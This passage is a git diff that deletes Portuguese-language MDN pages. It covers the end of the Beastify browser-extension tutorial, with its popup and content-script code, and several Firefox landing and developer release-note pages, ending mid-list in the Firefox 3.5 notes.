- background-color: #FBFBC9;
-}
-
-.reset:hover {
- background-color: #EAEA9D;
-}
-
-</pre>
-
-<h4 id="choose_beast.js">choose_beast.js</h4>
-
-<p>Here's the JavaScript for the popup:</p>
-
-<pre class="brush: js">/**
- * CSS to hide everything on the page,
- * except for elements that have the "beastify-image" class.
- */
-const hidePage = `body &gt; :not(.beastify-image) {
- display: none;
- }`;
-
-/**
- * Listen for clicks on the buttons, and send the appropriate message to
- * the content script in the page.
- */
-function listenForClicks() {
- document.addEventListener("click", (e) =&gt; {
-
- /**
- * Given the name of a beast, get the URL to the corresponding image.
- */
- function beastNameToURL(beastName) {
- switch (beastName) {
- case "Frog":
- return browser.extension.getURL("beasts/frog.jpg");
- case "Snake":
- return browser.extension.getURL("beasts/snake.jpg");
- case "Turtle":
- return browser.extension.getURL("beasts/turtle.jpg");
- }
- }
-
- /**
- * Insert the page-hiding CSS into the active tab,
- * then get the beast URL and
- * send a "beastify" message to the content script in the active tab.
- */
- function beastify(tabs) {
- browser.tabs.insertCSS({code: hidePage}).then(() =&gt; {
- let url = beastNameToURL(e.target.textContent);
- browser.tabs.sendMessage(tabs[0].id, {
- command: "beastify",
- beastURL: url
- });
- });
- }
-
- /**
- * Remove the page-hiding CSS from the active tab,
- * send a "reset" message to the content script in the active tab.
- */
- function reset(tabs) {
- browser.tabs.removeCSS({code: hidePage}).then(() =&gt; {
- browser.tabs.sendMessage(tabs[0].id, {
- command: "reset",
- });
- });
- }
-
- /**
- * Just log the error to the console.
- */
- function reportError(error) {
- console.error(`Could not beastify: ${error}`);
- }
-
- /**
- * Get the active tab,
- * then call "beastify()" or "reset()" as appropriate.
- */
- if (e.target.classList.contains("beast")) {
- browser.tabs.query({active: true, currentWindow: true})
- .then(beastify)
- .catch(reportError);
- }
- else if (e.target.classList.contains("reset")) {
- browser.tabs.query({active: true, currentWindow: true})
- .then(reset)
- .catch(reportError);
- }
- });
-}
-
-/**
- * There was an error executing the script.
- * Display the popup's error message, and hide the normal UI.
- */
-function reportExecuteScriptError(error) {
- document.querySelector("#popup-content").classList.add("hidden");
- document.querySelector("#error-content").classList.remove("hidden");
- console.error(`Failed to execute beastify content script: ${error.message}`);
-}
-
-/**
- * When the popup loads, inject a content script into the active tab,
- * and add a click handler.
- * If we couldn't inject the script, handle the error.
- */
-browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
-.then(listenForClicks)
-.catch(reportExecuteScriptError);
-
-</pre>
-
-<p>The place to start here is line 96. The popup script executes a content script in the active tab as soon as the popup is loaded, using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript">browser.tabs.executeScript()</a></code> API. If executing the content script is successful, then the content script will stay loaded in the page until the tab is closed or the user navigates to a different page.</p>
-
-<p>A common reason the <code>browser.tabs.executeScript()</code> call might fail is that you can't execute content scripts in all pages. For example, you can't execute them in privileged browser pages like about:debugging, and you can't execute them on pages in the <a href="https://addons.mozilla.org/">addons.mozilla.org</a> domain. If it does fail, <code>reportExecuteScriptError()</code> will hide the <code>"popup-content"</code> <code>&lt;div&gt;</code>, show the <code>"error-content"</code> <code>&lt;div&gt;</code>, and log an error to the <a href="/en-US/Add-ons/WebExtensions/Debugging">console</a>.</p>
-
-<p>If executing the content script is successful, we call <code>listenForClicks()</code>. This listens for clicks on the popup.</p>
-
-<ul>
- <li>If the click was on a button with <code>class="beast"</code>, then we call <code>beastify()</code>.</li>
- <li>If the click was on a button with <code>class="reset"</code>, then we call <code>reset()</code>.</li>
-</ul>
-
-<p>The <code>beastify()</code> function does three things:</p>
-
-<ul>
- <li>map the button clicked to a URL pointing to an image of a particular beast</li>
- <li>hide the page's whole content by injecting some CSS, using the <code><a href="/en-US/Add-ons/WebExtensions/API/tabs/insertCSS">browser.tabs.insertCSS()</a></code> API</li>
- <li>send a "beastify" message to the content script using the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/sendMessage">browser.tabs.sendMessage()</a></code> API, asking it to beastify the page, and passing it the URL to the beast image.</li>
-</ul>
-
-<p>The <code>reset()</code> function essentially undoes a beastify:</p>
-
-<ul>
- <li>remove the CSS we added, using the <code><a href="/en-US/Add-ons/WebExtensions/API/tabs/removeCSS">browser.tabs.removeCSS()</a></code> API</li>
- <li>send a "reset" message to the content script asking it to reset the page.</li>
-</ul>
-
-<h3 id="O_script_de_conteúdo">O <em>script</em> de conteúdo</h3>
-
-<p>Create a new directory, under the extension root, called "content_scripts" and create a new file in it called "beastify.js", with the following contents:</p>
-
-<pre class="brush: js">(function() {
- /**
- * Check and set a global guard variable.
- * If this content script is injected into the same page again,
- * it will do nothing next time.
- */
- if (window.hasRun) {
- return;
- }
- window.hasRun = true;
-
- /**
- * Given a URL to a beast image, remove all existing beasts, then
- * create and style an IMG node pointing to
- * that image, then insert the node into the document.
- */
- function insertBeast(beastURL) {
- removeExistingBeasts();
- let beastImage = document.createElement("img");
- beastImage.setAttribute("src", beastURL);
- beastImage.style.height = "100vh";
- beastImage.className = "beastify-image";
- document.body.appendChild(beastImage);
- }
-
- /**
- * Remove every beast from the page.
- */
- function removeExistingBeasts() {
- let existingBeasts = document.querySelectorAll(".beastify-image");
- for (let beast of existingBeasts) {
- beast.remove();
- }
- }
-
- /**
- * Listen for messages from the background script.
- * Call "beastify()" or "reset()".
- */
- browser.runtime.onMessage.addListener((message) =&gt; {
- if (message.command === "beastify") {
- insertBeast(message.beastURL);
- } else if (message.command === "reset") {
- removeExistingBeasts();
- }
- });
-
-})();
-</pre>
-
-<p>The first thing the content script does is to check for a global variable <code>window.hasRun</code>: if it's set the script returns early, otherwise it sets <code>window.hasRun</code> and continues. The reason we do this is that every time the user opens the popup, the popup executes a content script in the active tab, so we could have multiple instances of the script running in a single tab. If this happens, we need to make sure that only the first instance is actually going to do anything.</p>
-
-<p>After that, the place to start is line 40, where the content script listens for messages from the popup, using the <code><a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code> API. We saw above that the popup script can send two different sorts of messages: "beastify" and "reset".</p>
-
-<ul>
- <li>if the message is "beastify", we expect it to contain a URL pointing to a beast image. We remove any beasts that might have been added by previous "beastify" calls, then construct and append an <code><a href="/en-US/docs/Web/HTML/Element/img">&lt;img&gt;</a></code> element whose <code>src</code> attribute is set to the beast URL.</li>
- <li>if the message is "reset", we just remove any beasts that might have been added.</li>
-</ul>
-
-<h3 id="As_feras">As feras</h3>
-
-<p>Finally, we need to include the images of the beasts.</p>
-
-<p>Create a new directory called "beasts", and add the three images in that directory, with the appropriate names. You can get the images from <a href="https://github.com/mdn/webextensions-examples/tree/master/beastify/beasts">the GitHub repository</a>, or from here:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11459/frog.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"><img alt="" src="https://mdn.mozillademos.org/files/11461/snake.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"><img alt="" src="https://mdn.mozillademos.org/files/11463/turtle.jpg" style="display: inline-block; height: 200px; margin: 20px; width: 200px;"></p>
-
-<h2 id="Testar_a_extensão">Testar a extensão</h2>
-
-<p>First, double check that you have the right files in the right places:</p>
-
-<pre>beastify/
-
- beasts/
- frog.jpg
- snake.jpg
- turtle.jpg
-
- content_scripts/
- beastify.js
-
- icons/
- beasts-32.png
- beasts-48.png
-
- popup/
- choose_beast.css
- choose_beast.html
- choose_beast.js
-
- manifest.json</pre>
-
-<p>Starting in Firefox 45, you can install extensions temporarily from disk.</p>
-
-<p>Open "about:debugging" in Firefox, click "Load Temporary Add-on", and select your manifest.json file. You should then see the extension's icon appear in the Firefox toolbar:</p>
-
-<p>{{EmbedYouTube("sAM78GU4P34")}}</p>
-
-<p>Open a web page, then click the icon, select a beast, and see the web page change:</p>
-
-<p>{{EmbedYouTube("YMQXyAQSiE8")}}</p>
-
-<h2 id="Programae_a_partir_da_linha_de_comando">Programae a partir da linha de comando</h2>
-
-<p>Pode automatizar o passo da instalação temporária utilizando a ferramenta <a href="/pt-PT/Add-ons/WebExtensions/Primeiros_passos_com_web-ext">web-ext</a>. Experimente isto:</p>
-
-<pre class="brush: bash">cd beastify
-web-ext run</pre>
-</div>
diff --git a/files/pt-pt/mozilla/firefox/index.html b/files/pt-pt/mozilla/firefox/index.html
deleted file mode 100644
index 2e57b0d4f0..0000000000
--- a/files/pt-pt/mozilla/firefox/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: Firefox
-slug: Mozilla/Firefox
-tags:
- - Firefox
- - Landing
- - Mozilla
-translation_of: Mozilla/Firefox
----
-<div>{{FirefoxSidebar}}</div>
-
-<p><a href="https://www.mozilla.org/firefox/">Firefox</a> é o navegador popular da Web da Mozilla, disponível para múltiplas plataformas, incluindo Linux, OS X e Windows para PC e em todos os dispositivos móveis Android e iOS. Com ampla compatibilidade, as tecnologias da Web mais recentes, e ferramentas de programação poderosas, o Firefox é uma excelente escolha, tanto para os programadores da Web como para os utilizadores finais.</p>
-
-<p>O Firefox é um projeto de código aberto; a maior parte do código é fornecido pela nossa comunidade enorme de voluntários. Aqui pode aprender sobre como contribuir para o projeto Firefox e irá encontrar também hiperligações para informação sobre a criação de <strong>Extras</strong> do Firefox, utilizando as ferramentas de programador no Firefox, e outros tópicos.</p>
-
-<div class="summary">
-<p>Aprenda a criar <strong>Extras</strong> para o <a href="https://www.mozilla.org/pt-PT/firefox/">Firefox</a>, como desenvolver e criar o próprio Firefox, e como os internos do Firefox e os respetivos subprojetos funcionam.</p>
-</div>
-
-<ul class="card-grid">
- <li><span>Notas de lançamento do programador</span>
-
- <p><a href="/en-US/Firefox/Releases">Notas de lançamento focadas no Programador</a>; saiba quais as novas funcionalidades que chegam para ambos os websites e para os extras em cada versão do Firefox.</p>
- </li>
- <li><span>Documentação do projeto</span>
- <p>Obtenha informação detalhada sobre <a href="/en-US/docs/Mozilla">os internos do Firefox</a> e o sistema operativo, para que você se possa orientar no código.</p>
- </li>
- <li><span>Guia do pogramador</span>
- <p>O nosso <a href="/en-US/docs/Developer_Guide">guia do programador</a> fornece detalhes sobre como obter e compilar o código fonte do Firefox, como você se orientar, e como contribuir para o projeto.</p>
- </li>
-</ul>
-
-<h2 id="Canais_do_Firefox">Canais do Firefox</h2>
-
-<p>O Firefox está disponível em cinco <strong>canais</strong>.</p>
-
-<h3 id="Firefox_Nightly">Firefox Nightly</h3>
-
-<p>Todas as noites nós contruimos o Firefox a partir do último código disponível em <a href="/en-US/docs/mozilla-central">mozilla-central</a>. Estas configurações destinam-se aos programadores do Firefox ou para aqueles que desejam experimentar as últimas funcionalidades inovadoras enquanto estas estão ainda em fase de desenvolvimento.</p>
-
-<p><a href="https://download.mozilla.org/?product=firefox-nightly-stub&amp;os=win&amp;lang=pt-PT" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Transferir Firefox Nightly</a></p>
-
-<h3 id="Edição_do_Programador_do_Firefox">Edição do Programador do Firefox</h3>
-
-<p>Esta é uma versão do Firefox personalizada para programadores. A cada seis semanas, nós selecionamos as funcionalidades do Firefox Nightly que estão estáveis o suficiente e criamos uma nova versão da Edição do Programador do Firefox. Nós adicionamos também algumas funcionalidades extra para programadores, que estão apenas disponíveis neste canal.</p>
-
-<p><a href="/en-US/Firefox/Developer_Edition">Saiba mais acerca da Edição do Programador do Firefox</a>.</p>
-
-<p><a href="https://download.mozilla.org/?product=firefox-devedition-stub&amp;os=win&amp;lang=pt-PT" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Transferir Firefox Developer Edition</a></p>
-
-<h3 id="Firefox_Beta">Firefox Beta</h3>
-
-<p>Após utilizar a Edição do Programador do Firefox por seis semanas, nós selecionamos as funcionalidades que estão estáveis o suficiente e criamos uma nova versão do Firefox Beta. As configurações do Firefox Beta destinam-se a entusiastas do Firefox para testar as funcionalidades destinadas a serem lançadas na próxima versão do Firefox.</p>
-
-<p><a href="https://download.mozilla.org/?product=firefox-beta-stub&amp;os=win&amp;lang=pt-PT" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Transferir Firefox Beta</a></p>
-
-<h3 id="Firefox">Firefox</h3>
-
-<p>Após estabilizar para outras seis semanas com a versão Beta, nós estamos prontos para lançar as novas funcionalidades para milhões de utilizadores numa nova versão de lançamento do Firefox.</p>
-
-<p><a href="https://www.mozilla.org/pt-PT/firefox/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Transferir Firefox</a></p>
-
-<h3 id="Firefox_Extended_Support_Release_(ESR)">Firefox Extended Support Release (ESR)</h3>
-
-<p>Firefox ESR is the long-term support edition of Firefox for desktop for use by organizations including schools, universities, businesses and others who need extended support for mass deployments.</p>
-
-<p><a href="/en-US/Firefox/Firefox_ESR">Learn more about Firefox Extended Support Release</a>.</p>
-
-<p><a href="https://www.mozilla.org/pt-PT/firefox/organizations/all/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Transferir Firefox ESR</a></p>
-
-<h2 id="Perfis_do_Firefox">Perfis do Firefox</h2>
-
-<p>If you find yourself using multiple Firefox channels—or just multiple configurations—on a regular basis, you should read how to <a href="/en-US/docs/Mozilla/Firefox/Multiple_profiles">use multiple Firefox profiles</a> by turning Firefox's Profile Manager and other profile management tools to your advantage.</p>
diff --git a/files/pt-pt/mozilla/firefox/releases/1.5/index.html b/files/pt-pt/mozilla/firefox/releases/1.5/index.html
deleted file mode 100644
index 29dab49ca6..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/1.5/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: Firefox 1.5 para Desenvolvedores
-slug: Mozilla/Firefox/Releases/1.5
-translation_of: Mozilla/Firefox/Releases/1.5
-original_slug: Firefox_1.5_para_Desenvolvedores
----
-<div>{{FirefoxSidebar}}</div><p> </p>
-
-<h3 id="Firefox_1.5" name="Firefox_1.5">Firefox 1.5</h3>
-
-<p>Como o primeiro lançamento no ciclo de desenvolvimento de produto Firefox 1.5 dedicada a desenvolvedores web e autores de Extensões para teste de compatibilidade, Firefox 1.5, baseado no motor <a href="/pt/Gecko" title="pt/Gecko">Gecko</a> 1.8, melhora o já melhor na classe suporte de normas e providencia novas capacidades para suportar a próxima geração de aplicações web. Firefox 1.5 tem como características, melhor suporte para <a href="/pt/CSS" title="pt/CSS">CSS</a> 2 e <a href="/pt/CSS" title="pt/CSS">CSS</a> 3, APIs para gráficos 2D com scripts e programáveis com <a href="/pt/SVG" title="pt/SVG">SVG</a> 1.1 e &lt;canvas&gt;, <a href="/pt/XForms" title="pt/XForms">XForms</a> e eventos XML, e satisfatórios realces em <a href="/pt/DHTML" title="pt/DHTML">DHTML</a>, <a href="/pt/JavaScript" title="pt/JavaScript">JavaScript</a> e <a href="/pt/DOM" title="pt/DOM">DOM</a>.</p>
-
-<p>Firefox 1.5 está disponível para o download em: <a class="external" href="http://www.mozilla.com/firefox/" rel="freelink">http://www.mozilla.com/firefox/</a></p>
-
-<h3 id="Ferramentas_para_Desenvolvedores" name="Ferramentas_para_Desenvolvedores">Ferramentas para Desenvolvedores</h3>
-
-<p>Diversas ferramentas e extensões do browser estão disponíveis para ajudar no suporte do Firefox 1.5 aos desenvolvedores.</p>
-
-<ul>
- <li><a href="/en/DOM_Inspector">DOM Inspector</a>, esta ferramenta permite que os colaboradores inspecionem e modifiquem documentos sem ter que editar o documento diretamente. O DOM Inspector está disponível como parte da instação personalizada do Firefox 1.5 nas Ferramentas para Desenvolvedores.</li>
- <li>Console do Javascript, uma ferramenta para escrever e testar o código Javascript, exibe os erros do Javascript e CSS em uma página.</li>
- <li>Exibir Código-fonte, com características de procura e destaque na sintaxe.</li>
- <li><a class="link-https" href="https://addons.mozilla.org/extensions/showlist.php?application=firefox&amp;category=Developer%20Tools">Extensões do browser</a> incluíndo a <a href="/en/Web_Developer_Firefox_Extension_(external)">Web Developer toolbar</a>, <a href="/en/Live_HTTP_Headers_(external)">Live HTTP Headers</a>, <a href="/en/HTML_Validator_(external)">HTML Validator</a> e muito mais.</li>
-</ul>
-
-<p><strong>Nota:</strong> Algumas extensões não suportam atualmente o Firefox 1.5 e serão desabilitadas automaticamente.</p>
diff --git a/files/pt-pt/mozilla/firefox/releases/2/index.html b/files/pt-pt/mozilla/firefox/releases/2/index.html
deleted file mode 100644
index 3ba2adba19..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/2/index.html
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: Firefox 2 para desenvolvedores
-slug: Mozilla/Firefox/Releases/2
-translation_of: Mozilla/Firefox/Releases/2
-original_slug: Firefox_2_para_desenvolvedores
----
-<div>{{FirefoxSidebar}}</div><h2 id="Novas_caracter.C3.ADsticas_para_desenvolvedores_no_Firefox_2" name="Novas_caracter.C3.ADsticas_para_desenvolvedores_no_Firefox_2">Novas características para desenvolvedores no Firefox 2</h2>
-
-<p>Firefox 2 introduz uma vasta gama de características e potencialidades novas.</p>
-
-<p><em>Se não houver um link para algum título abaixo, é um título provisório do MDC até que o artigo esteja escrito.</em></p>
-
-<h3 id="Para_desenvolvedores_de_aplica.C3.A7.C3.B5es_e_web_sites" name="Para_desenvolvedores_de_aplica.C3.A7.C3.B5es_e_web_sites">Para desenvolvedores de aplicações e web sites</h3>
-
-<dl>
- <dt><a class="external" href="http://wiki.mozilla.org/Microsummaries">Microsummaries</a></dt>
- <dd>Microsummaries são uma nova maneira de web sites fornecerem material de referência rápida para usuários. Páginas onde existe um gerador de microsummary podem ser adicionadas à barra de favoritos com conteúdo que atualiza periodicamente baseado na especificação microsummary.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/Creating_a_Microsummary">Creating a Microsummary</a></dt>
- <dd>Um tutorial sobre como criar um gerador microsummary.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/Creating_MozSearch_plugins">Creating MozSearch plugins</a></dt>
- <dd>Firefox 2 suporta MozSearch, um formato plugin de pesquisa baseado no OpenSearch.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/OpenSearch_support_in_Firefox">OpenSearch support in Firefox</a></dt>
- <dd>Firefox 2 suporta também o formato Amazon A9's OpenSearch para plugins de pesquisa.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/Supporting_search_suggestions_in_search_plugins">Supporting search suggestions in search plugins</a></dt>
- <dd>Como fazer seu plugin MozSearch suportar sugestões de pesquisa, que aparecem em uma caixa popup ao digitar na barra da busca.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/New_in_JavaScript_1.7">New in JavaScript 1.7</a></dt>
- <dd>Firefox 2 suporta JavaScript 1.7, que possui novas características incluindo <code>let</code>, destructuring assignment, geradores e iteradores, e array comprehensions.</dd>
-</dl>
-
-<dl>
- <dt><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#scs-client-side">WHATWG Client-side session and persistent storage</a></dt>
- <dd>Sessão client-side e armazenamento permanente permitem que aplicações web armazenem dados estruturados no lado do cliente.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/SVG_in_Firefox">SVG in Firefox</a></dt>
- <dd>Firefox 2 tem suporte à SVG (Scalable Vector Graphics) melhorado, implementando o elemento <code>&lt;textPath&gt;</code> e adicionando suporte a alguns atributos não suportados previamente.</dd>
-</dl>
-
-<h3 id="Para_desenvolvedores_de_extens.C3.B5es_e_XUL" name="Para_desenvolvedores_de_extens.C3.B5es_e_XUL">Para desenvolvedores de extensões e XUL</h3>
-
-<dl>
- <dt><a href="/en/Session_restore_API">Session restore API</a></dt>
- <dd>Contribuindo com itens a serem salvos e restaurados através das sessões do Firefox.</dd>
-</dl>
-
-<dl>
- <dt>Feed content access API</dt>
- <dd><em>Esta API ainda está sendo revisada; documentação estará disponível em breve.</em></dd>
-</dl>
-
-<dl>
- <dt><a href="/en/SAX">SAX support</a></dt>
- <dd>Parser API baseada em eventos de XML.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/Adding_search_engines_from_web_pages">Adding search engines from web pages</a></dt>
- <dd>Código Javascript pode instruir Firefox a instalar novos plugins de pesquisa escritos com o formato OpenSearch ou Sherlock.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/Adding_phishing_protection_data_providers">Adding phishing protection data providers</a></dt>
- <dd>É possível realçar a proteção phishing<span class="comment">?</span> do Firefox adicionando fornecedores adicionais de dados ao sistema de navegação segura<span class="comment">ainda não encontrei um bom termo - Leandro o que voce acha - Kay - bom Kay, obrigado. :) Caso queira nos ajudar com outras traduções, entre em contato através da página MDC:Comunidade</span>.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/Storage">Storage</a></dt>
- <dd>Firefox 2 introduz o mozStorage, uma arquitetura de base de dados baseada no sqlite.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/Best_practices_for_extension_versioning">Best practices for extension versioning</a></dt>
- <dd>Como usar números de versão para tratar de todas as versões de pré-lançamento do firefox 2.</dd>
-</dl>
-
-<h2 id="Novas_caracter.C3.ADsticas_para_usu.C3.A1rios_finais" name="Novas_caracter.C3.ADsticas_para_usu.C3.A1rios_finais">Novas características para usuários finais</h2>
-
-<p>Para conhecer as novidades para usuários finais das versões 2.0, visite o <a class="external" href="http://br.mozdev.org/noticias/2.0.html">br.mozdev</a>.</p>
diff --git a/files/pt-pt/mozilla/firefox/releases/3.5/index.html b/files/pt-pt/mozilla/firefox/releases/3.5/index.html
deleted file mode 100644
index d175b9cc1c..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/3.5/index.html
+++ /dev/null
@@ -1,261 +0,0 @@
----
-title: Firefox 3.5 para desenvolvedores
-slug: Mozilla/Firefox/Releases/3.5
-translation_of: Mozilla/Firefox/Releases/3.5
-original_slug: Firefox_3.5_para_desenvolvedores
----
-<div>{{FirefoxSidebar}}</div><p>O Firefox 3.5 introduz várias funcionalidades novas, bem como suporte adicional e melhorado para uma larga variedade de padrões web. Este artigo oferece uma extensa lista, com links para artigos cobrindo as melhorias mais importantes.</p>
-<h2 id="Novas_funcionalidades_para_desenvolvedores_no_Firefox_3.5">Novas funcionalidades para desenvolvedores no Firefox 3.5</h2>
-<h3 id="Para_desenvolvedores_de_web_sites_e_aplicações">Para desenvolvedores de web sites e aplicações</h3>
-<h4 id="Suporte_a_HTML_5">Suporte a HTML 5</h4>
-<dl>
- <dt>
- <a class="internal" href="/Pt/Usando_%C3%A1udio_e_v%C3%ADdeo_no_Firefox" title="Pt/Usando áudio e vídeo no Firefox">Usando áudio e vídeo no Firefox</a></dt>
- <dd>
- O Firefox 3.5 adicionou suporte para os elementos de <a class="internal" href="/Pt/HTML/Elemento/Audio" title="Pt/HTML/Elemento/Audio"><code>áudio</code></a> e <a class="internal" href="/Pt/HTML/Elemento/Video" title="Pt/HTML/Elemento/Video"><code>vídeo</code></a> do HTML 5.</dd>
- <dt>
- <a class="internal" href="/en/Offline_resources_in_Firefox" title="En/Offline resources in Firefox">Recursos offline no Firefox</a> (EN)</dt>
- <dd>
- O Firefox 3.5 agora suporta totalmente as especificações de recursos <em>offline</em> do HTML 5.</dd>
- <dt>
- <a class="internal" href="/En/DragDrop/Drag_and_Drop" title="En/DragDrop/Drag and Drop">Arrastar e largar (drag and drop)</a> (EN)</dt>
- <dd>
- As APIs de arrastar e soltar do HTML 5 permitem o suporte para  arrastar e soltar itens dentro e entre web sites. Isto também proporciona uma API simples para uso em extensões e aplicações baseadas no Mozilla.</dd>
-</dl>
-<h4 id="Novas_funcionalidades_do_CSS_suportadas">Novas funcionalidades do CSS suportadas</h4>
-<dl>
- <dt>
- <a class="internal" href="/Pt/CSS/@font-face" title="Pt/CSS/@font-face">Suporte a fontes baixáveis</a></dt>
- <dd>
- A nova <code>@font-face</code> @rule permite que páginas web proporcionem fontes baixáveis, dessa forma estes sites podem ser renderizados exatamente como o autor da página espera.</dd>
- <dt>
- <a class="internal" href="/Pt/CSS/Consulta_de_m%C3%ADdia" title="Pt/CSS/Consulta de mídia">Consulta de mídia CSS</a></dt>
- <dd>
- O Firefox 3.5 suporta consulta de mídia CSS, que melhora o suporte às folhas de estilo dependentes de mídias.</dd>
- <dt>
- <a class="internal" href="/pt/CSS/:before" title="pt/CSS/:before"><code>:before</code></a> e <a class="internal" href="/pt/CSS/:after" title="pt/CSS/:after"><code>:after</code></a> atualizados para o CSS 2.1</dt>
- <dd>
- Os pseudo-elementos <code>:before</code> e <code>:after</code> foram atualizados para o suporte total do CSS 2.1, adicionando suporte para <code>position</code>, <code>float</code>, <code>list-style-*</code>, e algumas propriedades <code>display</code>.</dd>
- <dt>
- <a class="internal" href="/en/CSS/opacity" title="En/CSS/Opacity"><code>opacity</code></a><code> (en)</code></dt>
- <dd>
- A estensão Mozilla <code>-moz-opacity</code> para o CSS foi removida em favor da propriedade padrão <code>opacity</code>.</dd>
- <dt>
- <a class="internal" href="/en/CSS/text-shadow" title="En/CSS/Text-shadow"><code>text-shadow</code></a><code> (en)</code></dt>
- <dd>
- A propriedade <code>text-shadow</code>, que permite ao conteúdo web especificar efeitos de sombra para aplicar em textos e decorações de texto, agora é suportada.</dd>
- <dt>
- <a class="internal" href="/En/CSS/Word-wrap" title="En/CSS/Word-wrap"><code>word-wrap</code></a><code> (en)</code></dt>
- <dd>
- Esta nova propriedade suportada permite ao conteúdo especificar quando as linhas podem ou não serem quebradas no meio de palavras para prevenir o extravasamento quando uma outra <em>string</em> não-quebrável é muito longa para ocupar uma única linha.</dd>
- <dt>
- <a class="internal" href="/en/CSS/-moz-box-shadow" title="En/CSS/-moz-box-shadow"><code>-moz-box-shadow</code></a><code> (en)</code></dt>
- <dt>
- <a class="internal" href="/En/CSS/-moz-border-image" title="En/CSS/-moz-border-image"><code>-moz-border-image</code></a><code> (en)</code></dt>
- <dt>
- <a class="internal" href="/En/CSS/-moz-column-rule" title="En/CSS/-moz-column-rule"><code>-moz-column-rule</code></a><code> (en)</code></dt>
- <dt>
- <a class="internal" href="/En/CSS/-moz-column-rule-width" title="En/CSS/-moz-column-rule-width"><code>-moz-column-rule-width</code></a><code> (en)</code></dt>
- <dt>
- <a class="internal" href="/En/CSS/-moz-column-rule-style" title="En/CSS/-moz-column-rule-style"><code>-moz-column-rule-style</code></a><code> (en)</code></dt>
- <dt>
- <a class="internal" href="/En/CSS/-moz-column-rule-color" title="En/CSS/-moz-column-rule-color"><code>-moz-column-rule-color</code></a><code> (en)</code></dt>
- <dt>
- <a class="internal" href="/en/CSS/-moz-column-gap" title="En/CSS/-moz-column-gap"><code>-moz-column-gap</code></a><code> (en)</code></dt>
- <dd>
- O Firefox 3.5 adicionou suporte para estas extensões Mozilla ao CSS.</dd>
- <dt>
- O valor de cor <a class="internal" href="/en/CSS/color#Mozilla_Specific_Colors" title="En/CSS/color#Mozilla Specific Colors"><code>-moz-nativehyperlinktext</code></a><code> (en)</code></dt>
- <dd>
- Este novo valor de cores representa a cor de <em>hiperlink</em> padrão do sistema do usuário.</dd>
- <dt>
- As novas propriedades <a class="internal" href="/En/CSS/-moz-window-shadow" title="En/CSS/-moz-window-shadow"><code>-moz-window-shadow</code></a> <code>(en) </code>e <a class="internal" href="/En/CSS/:-moz-system-metric(mac-graphite-theme)" title="En/CSS/:-moz-system-metric(mac-graphite-theme)"><code>-moz-system-metric(mac-graphite-theme)</code></a><code> (en)</code></dt>
- <dd>
- Estas novas propriedades CSS foram adicionadas para facilitar as edições de temas.</dd>
- <dt>
- Novos valores para <a class="internal" href="/en/CSS/-moz-appearance" title="En/CSS/-moz-appearance"><code>-moz-appearance</code></a> <code>(en)</code></dt>
- <dd>
- Os valores <code>-moz-win-glass</code> e <code>-moz-mac-unified-toolbar</code> foram adicionados em <code>-moz-appearance</code>.</dd>
- <dt>
- <a class="internal" href="/Pt/CSS/Usando_transforma%C3%A7%C3%B5es_CSS" title="Pt/CSS/Usando transformações CSS">Usando transformações CSS</a></dt>
- <dd>
- O Firefox 3.5 suporta transformações CSS. Veja <a class="internal" href="/En/CSS/-moz-transform" title="En/CSS/-moz-transform"><code>-moz-transform</code></a> <code>(en) </code>e <a class="internal" href="/En/CSS/-moz-transform-origin" title="En/CSS/-moz-transform-origin"><code>-moz-transform-origin</code></a> <code>(en) </code>para detalhes.</dd>
- <dt>
- <a class="internal" href="/en/CSS/:nth-child" title="En/CSS/:nth-child"><code>:nth-child</code></a> <code>(en)</code></dt>
- <dt>
